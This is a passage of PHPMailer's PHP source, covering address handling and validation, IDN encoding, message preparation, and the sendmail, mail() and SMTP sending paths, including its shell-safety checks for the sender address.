        $this->Mailer = 'smtp';
    }

    /**
     * Send messages using PHP's mail() function.
     * @return void
     */
    public function isMail()
    {
        $this->Mailer = 'mail';
    }

    /**
     * Send messages using $Sendmail.
     * @return void
     */
    public function isSendmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'sendmail')) {
            $this->Sendmail = '/usr/sbin/sendmail';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'sendmail';
    }

    /**
     * Send messages using qmail.
     * @return void
     */
    public function isQmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'qmail')) {
            $this->Sendmail = '/var/qmail/bin/qmail-inject';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'qmail';
    }

    /**
     * Add a "To" address.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addAddress($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('to', $address, $name);
    }

    /**
     * Add a "CC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('cc', $address, $name);
    }

    /**
     * Add a "BCC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addBCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('bcc', $address, $name);
    }

    /**
     * Add a "Reply-To" address.
     * @param string $address The email address to reply to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addReplyTo($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer
     * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still
     * be modified after calling this function), addition of such addresses is delayed until send().
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addOrEnqueueAnAddress($kind, $address, $name)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        if (($pos = strrpos($address, '@')) === false) {
            // At-sign is misssing.
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $params = array($kind, $address, $name);
        // Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
        if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {
            if ($kind != 'Reply-To') {
                if (!array_key_exists($address, $this->RecipientsQueue)) {
                    $this->RecipientsQueue[$address] = $params;
                    return true;
                }
            } else {
                if (!array_key_exists($address, $this->ReplyToQueue)) {
                    $this->ReplyToQueue[$address] = $params;
                    return true;
                }
            }
            return false;
        }
        // Immediately add standard addresses without IDN.
        return call_user_func_array(array($this, 'addAnAddress'), $params);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array.
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addAnAddress($kind, $address, $name = '')
    {
        if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {
            $error_message = $this->lang('Invalid recipient kind: ') . $kind;
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if (!$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if ($kind != 'Reply-To') {
            if (!array_key_exists(strtolower($address), $this->all_recipients)) {
                array_push($this->$kind, array($address, $name));
                $this->all_recipients[strtolower($address)] = true;
                return true;
            }
        } else {
            if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
                $this->ReplyTo[strtolower($address)] = array($address, $name);
                return true;
            }
        }
        return false;
    }

    /**
     * Parse and validate a string containing one or more RFC822-style comma-separated email addresses
     * of the form "display name <address>" into an array of name/address pairs.
     * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.
     * Note that quotes in the name part are removed.
     * @param string $addrstr The address list string
     * @param bool $useimap Whether to use the IMAP extension to parse the list
     * @return array
     * @link http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation
     */
    public function parseAddresses($addrstr, $useimap = true)
    {
        $addresses = array();
        if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {
            //Use this built-in parser if it's available
            $list = imap_rfc822_parse_adrlist($addrstr, '');
            foreach ($list as $address) {
                if ($address->host != '.SYNTAX-ERROR.') {
                    if ($this->validateAddress($address->mailbox . '@' . $address->host)) {
                        $addresses[] = array(
                            'name' => (property_exists($address, 'personal') ? $address->personal : ''),
                            'address' => $address->mailbox . '@' . $address->host
                        );
                    }
                }
            }
        } else {
            //Use this simpler parser
            $list = explode(',', $addrstr);
            foreach ($list as $address) {
                $address = trim($address);
                //Is there a separate name part?
                if (strpos($address, '<') === false) {
                    //No separate name, just use the whole thing
                    if ($this->validateAddress($address)) {
                        $addresses[] = array(
                            'name' => '',
                            'address' => $address
                        );
                    }
                } else {
                    list($name, $email) = explode('<', $address);
                    $email = trim(str_replace('>', '', $email));
                    if ($this->validateAddress($email)) {
                        $addresses[] = array(
                            'name' => trim(str_replace(array('"', "'"), '', $name)),
                            'address' => $email
                        );
                    }
                }
            }
        }
        return $addresses;
    }

    /**
     * Sets message type to HTML or plain.
     * @param boolean $isHtml True for HTML mode.
     * @return void
     */
    public function isHTML($isHtml = true)
    {
        if ($isHtml) {
            $this->ContentType = 'text/html';
        } 
        else {
            $this->ContentType = 'text/plain';
        }

    }

    /**
     * Set the From and FromName properties.
     * @param string $address
     * @param string $name
     * @param boolean $auto Whether to also set the Sender address, defaults to true
     * @throws phpmailerException
     * @return boolean
     */
    public function setFrom($address, $name = '', $auto = true)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        // Don't validate now addresses with IDN. Will be done in send().
        if (($pos = strrpos($address, '@')) === false or
            (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
            !$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (setFrom) $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $this->From = $address;
        $this->FromName = $name;
        if ($auto) {
            if (empty($this->Sender)) {
                $this->Sender = $address;
            }
        }
        return true;
    }

    /**
     * Return the Message-ID header of the last email.
     * Technically this is the value from the last time the headers were created,
     * but it's also the message ID of the last sent message except in
     * pathological cases.
     * @return string
     */
    public function getLastMessageID()
    {
        return $this->lastMessageID;
    }

    /**
     * Check that a string looks like an email address.
     * @param string $address The email address to check
     * @param string|callable $patternselect A selector for the validation pattern to use :
     * * `auto` Pick best pattern automatically;
     * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
     * * `pcre` Use old PCRE implementation;
     * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
     * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
     * * `noregex` Don't use a regex: super fast, really dumb.
     * Alternatively you may pass in a callable to inject your own validator, for example:
     * PHPMailer::validateAddress('user@example.com', function($address) {
     *     return (strpos($address, '@') !== false);
     * });
     * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.
     * @return boolean
     * @static
     * @access public
     */
    public static function validateAddress($address, $patternselect = null)
    {
        if (is_null($patternselect)) {
            $patternselect = self::$validator;
        }
        if (is_callable($patternselect)) {
            return call_user_func($patternselect, $address);
        }
        //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
        if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
            return false;
        }
        if (!$patternselect or $patternselect == 'auto') {
            //Check this constant first so it works when extension_loaded() is disabled by safe mode
            //Constant was added in PHP 5.2.4
            if (defined('PCRE_VERSION')) {
                //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
                if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
                    $patternselect = 'pcre8';
                } else {
                    $patternselect = 'pcre';
                }
            } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
                //Fall back to older PCRE
                $patternselect = 'pcre';
            } else {
                //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
                if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
                    $patternselect = 'php';
                } else {
                    $patternselect = 'noregex';
                }
            }
        }
        switch ($patternselect) {
            case 'pcre8':
                /**
                 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
                 * @link http://squiloople.com/2009/12/20/email-address-validation/
                 * @copyright 2009-2010 Michael Rushton
                 * Feel free to use and redistribute this code. But please keep this copyright notice.
                 */
                return (boolean)preg_match(
                    '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
                    '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
                    '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
                    '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
                    '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
                    '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
                    '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
                    '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
                    $address
                );
            case 'pcre':
                //An older regex that doesn't need a recent PCRE
                return (boolean)preg_match(
                    '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
                    '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
                    '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
                    '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
                    '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
                    '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
                    '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
                    '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
                    '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
                    $address
                );
            case 'html5':
                /**
                 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
                 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
                 */
                return (boolean)preg_match(
                    '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
                    '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
                    $address
                );
            case 'noregex':
                //No PCRE! Do something _very_ approximate!
                //Check the address is 3 chars or longer and contains an @ that's not the first or last char
                return (strlen($address) >= 3
                    and strpos($address, '@') >= 1
                    and strpos($address, '@') != strlen($address) - 1);
            case 'php':
            default:
                return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
        }
    }

    /**
     * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the
     * "intl" and "mbstring" PHP extensions.
     * @return bool "true" if required functions for IDN support are present
     */
    public function idnSupported()
    {
        // @TODO: Write our own "idn_to_ascii" function for PHP <= 5.2.
        return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');
    }

    /**
     * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.
     * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.
     * This function silently returns unmodified address if:
     * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)
     * - Conversion to punycode is impossible (e.g. required PHP functions are not available)
     *   or fails for any reason (e.g. domain has characters not allowed in an IDN)
     * @see PHPMailer::$CharSet
     * @param string $address The email address to convert
     * @return string The encoded address in ASCII form
     */
    public function punyencodeAddress($address)
    {
        // Verify we have required functions, CharSet, and at-sign.
        if ($this->idnSupported() and
            !empty($this->CharSet) and
            ($pos = strrpos($address, '@')) !== false) {
            $domain = substr($address, ++$pos);
            // Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
            if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {
                $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);
                if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?
                    idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :
                    idn_to_ascii($domain)) !== false) {
                    return substr($address, 0, $pos) . $punycode;
                }
            }
        }
        return $address;
    }

    /**
     * Create a message and send it.
     * Uses the sending method specified by $Mailer.
     * @throws phpmailerException
     * @return boolean false on error - See the ErrorInfo property for details of the error.
     */
    public function send()
    {
        try {
            if (!$this->preSend()) {
                return false;
            }
            return $this->postSend();
        } catch (phpmailerException $exc) {
            $this->mailHeader = '';
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Prepare a message for sending.
     * @throws phpmailerException
     * @return boolean
     */
    public function preSend()
    {
        try {
            $this->error_count = 0; // Reset errors
            $this->mailHeader = '';

            // Dequeue recipient and Reply-To addresses with IDN
            foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {
                $params[1] = $this->punyencodeAddress($params[1]);
                call_user_func_array(array($this, 'addAnAddress'), $params);
            }
            if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
                throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
            }

            // Validate From, Sender, and ConfirmReadingTo addresses
            foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {
                $this->$address_kind = trim($this->$address_kind);
                if (empty($this->$address_kind)) {
                    continue;
                }
                $this->$address_kind = $this->punyencodeAddress($this->$address_kind);
                if (!$this->validateAddress($this->$address_kind)) {
                    $error_message = $this->lang('invalid_address') . ' (punyEncode) ' . $this->$address_kind;
                    $this->setError($error_message);
                    $this->edebug($error_message);
                    if ($this->exceptions) {
                        throw new phpmailerException($error_message);
                    }
                    return false;
                }
            }

            // Set whether the message is multipart/alternative
            if ($this->alternativeExists()) {
                $this->ContentType = 'multipart/alternative';
            }

            $this->setMessageType();
            // Refuse to send an empty message unless we are specifically allowing it
            if (!$this->AllowEmpty and empty($this->Body)) {
                throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
            }

            // Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
            $this->MIMEHeader = '';
            $this->MIMEBody = $this->createBody();
            // createBody may have added some headers, so retain them
            $tempheaders = $this->MIMEHeader;
            $this->MIMEHeader = $this->createHeader();
            $this->MIMEHeader .= $tempheaders;

            // To capture the complete message when using mail(), create
            // an extra header list which createHeader() doesn't fold in
            if ($this->Mailer == 'mail') {
                if (count($this->to) > 0) {
                    $this->mailHeader .= $this->addrAppend('To', $this->to);
                } else {
                    $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
                }
                $this->mailHeader .= $this->headerLine(
                    'Subject',
                    $this->encodeHeader($this->secureHeader(trim($this->Subject)))
                );
            }

            // Sign with DKIM if enabled
            if (!empty($this->DKIM_domain)
                and !empty($this->DKIM_selector)
                and (!empty($this->DKIM_private_string)
                    or (!empty($this->DKIM_private)
                        and self::isPermittedPath($this->DKIM_private)
                        and file_exists($this->DKIM_private)
                    )
                )
            ) {
                $header_dkim = $this->DKIM_Add(
                    $this->MIMEHeader . $this->mailHeader,
                    $this->encodeHeader($this->secureHeader($this->Subject)),
                    $this->MIMEBody
                );
                $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
                    str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
            }
            return true;
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Actually send a message.
     * Send the email via the selected mechanism
     * @throws phpmailerException
     * @return boolean
     */
    public function postSend()
    {
        try {
            // Choose the mailer and send through it
            switch ($this->Mailer) {
                case 'sendmail':
                case 'qmail':
                    return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
                case 'smtp':
                    return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
                case 'mail':
                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
                default:
                    $sendMethod = $this->Mailer.'Send';
                    if (method_exists($this, $sendMethod)) {
                        return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
                    }

                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
            }
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
        }
        return false;
    }

    /**
     * Send mail using the $Sendmail program.
     * @param string $header The message headers
     * @param string $body The message body
     * @see PHPMailer::$Sendmail
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function sendmailSend($header, $body)
    {
        // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
        if (!empty($this->Sender) and self::isShellSafe($this->Sender)) {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s -f%s';
            } else {
                $sendmailFmt = '%s -oi -f%s -t';
            }
        } else {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s';
            } else {
                $sendmailFmt = '%s -oi -t';
            }
        }

        // TODO: If possible, this should be changed to escapeshellarg.  Needs thorough testing.
        $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender);

        if ($this->SingleTo) {
            foreach ($this->SingleToArray as $toAddr) {
                if (!@$mail = popen($sendmail, 'w')) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
                fputs($mail, 'To: ' . $toAddr . "\n");
                fputs($mail, $header);
                fputs($mail, $body);
                $result = pclose($mail);
                $this->doCallback(
                    ($result == 0),
                    array($toAddr),
                    $this->cc,
                    $this->bcc,
                    $this->Subject,
                    $body,
                    $this->From
                );
                if ($result != 0) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
            }
        } else {
            if (!@$mail = popen($sendmail, 'w')) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
            fputs($mail, $header);
            fputs($mail, $body);
            $result = pclose($mail);
            $this->doCallback(
                ($result == 0),
                $this->to,
                $this->cc,
                $this->bcc,
                $this->Subject,
                $body,
                $this->From
            );
            if ($result != 0) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
        }
        return true;
    }

    /**
     * Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters.
     *
     * Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows.
     * @param string $string The string to be validated
     * @see https://github.com/PHPMailer/PHPMailer/issues/924 CVE-2016-10045 bug report
     * @access protected
     * @return boolean
     */
    protected static function isShellSafe($string)
    {
        // Future-proof
        if (escapeshellcmd($string) !== $string
            or !in_array(escapeshellarg($string), array("'$string'", "\"$string\""))
        ) {
            return false;
        }

        $length = strlen($string);

        for ($i = 0; $i < $length; $i++) {
            $c = $string[$i];

            // All other characters have a special meaning in at least one common shell, including = and +.
            // Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here.
            // Note that this does permit non-Latin alphanumeric characters based on the current locale.
            if (!ctype_alnum($c) && strpos('@_-.', $c) === false) {
                return false;
            }
        }

        return true;
    }

    /**
     * Check whether a file path is of a permitted type.
     * Used to reject URLs and phar files from functions that access local file paths,
     * such as addAttachment.
     * @param string $path A relative or absolute path to a file.
     * @return bool
     */
    protected static function isPermittedPath($path)
    {
        return !preg_match('#^[a-z]+://#i', $path);
    }

    /**
     * Send mail using the PHP mail() function.
     * @param string $header The message headers
     * @param string $body The message body
     * @link http://www.php.net/manual/en/book.mail.php
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function mailSend($header, $body)
    {
        $toArr = array();
        foreach ($this->to as $toaddr) {
            $toArr[] = $this->addrFormat($toaddr);
        }
        $to = implode(', ', $toArr);

        $params = null;
        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
            if (self::isShellSafe($this->Sender)) {
                $params = sprintf('-f%s', $this->Sender);
            }
        }
        if (!empty($this->Sender) and !ini_get('safe_mode') and $this->validateAddress($this->Sender)) {
            $old_from = ini_get('sendmail_from');
            ini_set('sendmail_from', $this->Sender);
        }
        $result = false;
        if ($this->SingleTo and count($toArr) > 1) {
            foreach ($toArr as $toAddr) {
                $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
                $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
            }
        } else {
            $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
            $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
        }
        if (isset($old_from)) {
            ini_set('sendmail_from', $old_from);
        }
        if (!$result) {
            throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
        }
        return true;
    }

    /**
     * Get an instance to use for SMTP operations.
     * Override this function to load your own SMTP implementation
     * @return SMTP
     */
    public function getSMTPInstance()
    {
        if (!is_object($this->smtp)) {
            $this->smtp = new SMTP;
        }
        return $this->smtp;
    }

    /**
     * Send mail via SMTP.
     * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
     * Uses the PHPMailerSMTP class by default.
     * @see PHPMailer::getSMTPInstance() to use a different class.
     * @param string $header The message headers
     * @param string $body The message body
     * @throws phpmailerException
     * @uses SMTP
     * @access protected
     * @return boolean
     */
    protected function smtpSend($header, $body)
    {
        $bad_rcpt = array();
        if (!$this->smtpConnect($this->SMTPOptions)) {
            throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
        }
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            $smtp_from = $this->Sender;
        } else {
            $smtp_from = $this->From;
        }
        if (!$this->smtp->mail($smtp_from)) {
            $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
            throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
        }

        // Attempt to send to all recipients
        foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
            foreach ($togroup as $to) {
                if (!$this->smtp->recipient($to[0])) {
                    $error = $this->smtp->getError();
                    $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
                    $isSent = false;
                } else {
                    $isSent = true;
                }
                $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
            }
        }

        // Only send the DATA command if we have viable recipients
        if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
            throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
        }
        if ($this->SMTPKeepAlive) {
            $this->smtp->reset();
        } else {
            $this->smtp->quit();
            $this->smtp->close();
        }
        //Create error message for any bad addresses
        if (count($bad_rcpt) > 0) {
            $errstr = '';
            foreach ($bad_rcpt as $bad) {
                $errstr .= $bad['to'] . ': ' . $bad['error'];
            }
            throw new phpmailerException(
                $this->lang('recipients_failed') . $errstr,
                self::STOP_CONTINUE
            );
        }
        return true;
    }

    /**
     * Initiate a connection to an SMTP server.
     * Returns false if the operation failed.
     * @param array $options An array of options compatible with stream_context_create()
     * @uses SMTP
     * @access public
     * @throws phpmailerException
     * @return boolean
     */
    public function smtpConnect($options = null)
    {
        if (is_null($this->smtp)) {
            $this->smtp = $this->getSMTPInstance();
        }

        //If no options are provided, use whatever is set in the instance
        if (is_null($options)) {
            $options = $this->SMTPOptions;
        }

        // Already connected?
        if ($this->smtp->connected()) {
            return true;
        }

        $this->smtp->setTimeout($this->Timeout);
        $this->smtp->setDebugLevel($this->SMTPDebug);
        $this->smtp->setDebugOutput($this->Debugoutput);
        $this->smtp->setVerp($this->do_verp);
        $hosts = explode(';', $this->Host);
        $lastexception = null;

        foreach ($hosts as $hostentry) {
            $hostinfo = array();
            if (!preg_match(
                '/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*|\[[a-fA-F0-9:]+\]):?([0-9]*)$/',
                trim($hostentry),
                $hostinfo
            )) {
                // Not a valid host entry
                $this->edebug('Ignoring invalid host: ' . $hostentry);
                continue;
            }
            // $hostinfo[2]: optional ssl or tls prefix
            // $hostinfo[3]: the hostname
            // $hostinfo[4]: optional port number
            // The host string prefix can temporarily override the current setting for SMTPSecure
            // If it's not specified, the default value is used
            $prefix = '';
            $secure = $this->SMTPSecure;
            $tls = ($this->SMTPSecure == 'tls');
            if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
                $prefix = 'ssl://';
                $tls = false; // Can't have SSL and TLS at the same time
                $secure = 'ssl';
            } elseif ($hostinfo[2] == 'tls') {
                $tls = true;
                // tls doesn't use a prefix
                $secure = 'tls';
            }
            //Do we need the OpenSSL extension?
            $sslext = defined('OPENSSL_ALGO_SHA1');
            if ('tls' === $secure or 'ssl' === $secure) {
                //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
                if (!$sslext) {
                    throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
                }
            }
            $host = $hostinfo[3];
            $port = $this->Port;
            $tport = (integer)$hostinfo[4];
            if ($tport > 0 and $tport < 65536) {
                $port = $tport;
            }
            if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
                try {
                    if ($this->Helo) {
                        $hello = $this->Helo;
                    } else {
                        $hello = $this->serverHostname();
                    }
                    $this->smtp->hello($hello);
                    //Automatically enable TLS encryption if:
                    // * it's not disabled
                    // * we have openssl extension
                    // * we are not already using SSL
                    // * the server offers STARTTLS
                    if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
                        $tls = true;
                    }
                    if ($tls) {
                        if (!$this->smtp->startTLS()) {
                            throw new phpmailerException($this->lang('connect_host'));
                        }
                        // We must resend EHLO after TLS negotiation
                        $this->smtp->hello($hello);
                    }
                    if ($this->SMTPAuth) {
                        if (!$this->smtp->authenticate(
                            $this->Username,
                            $this->Password,
                            $this->AuthType,
                            $this->Realm,
                            $this->Workstation
                        )
                        ) {
                            throw new phpmailerException($this->lang('authenticate'));
                        }
                    }
                    return true;
                } catch (phpmailerException $exc) {
                    $lastexception = $exc;
                    $this->edebug($exc->getMessage());
                    // We must have connected, but then failed TLS or Auth, so close connection nicely
                    $this->smtp->quit();
                }
            }
        }
        // If we get here, all connection attempts have failed, so close connection hard
        $this->smtp->close();
        // As we've caught all exceptions, just report whatever the last one was
        if ($this->exceptions and !is_null($lastexception)) {
            throw $lastexception;
        }
        return false;
    }

    /**
     * Close the active SMTP session if one exists.
     * @return void
     */
    public function smtpClose()
    {
        if (is_a($this->smtp, 'SMTP')) {
            if ($this->smtp->connected()) {
                $this->smtp->quit();
                $this->smtp->close();
            }
        }
    }

    /**
     * Set the language for error messages.
     * Returns false if it cannot load the language file.
     * The default language is English.
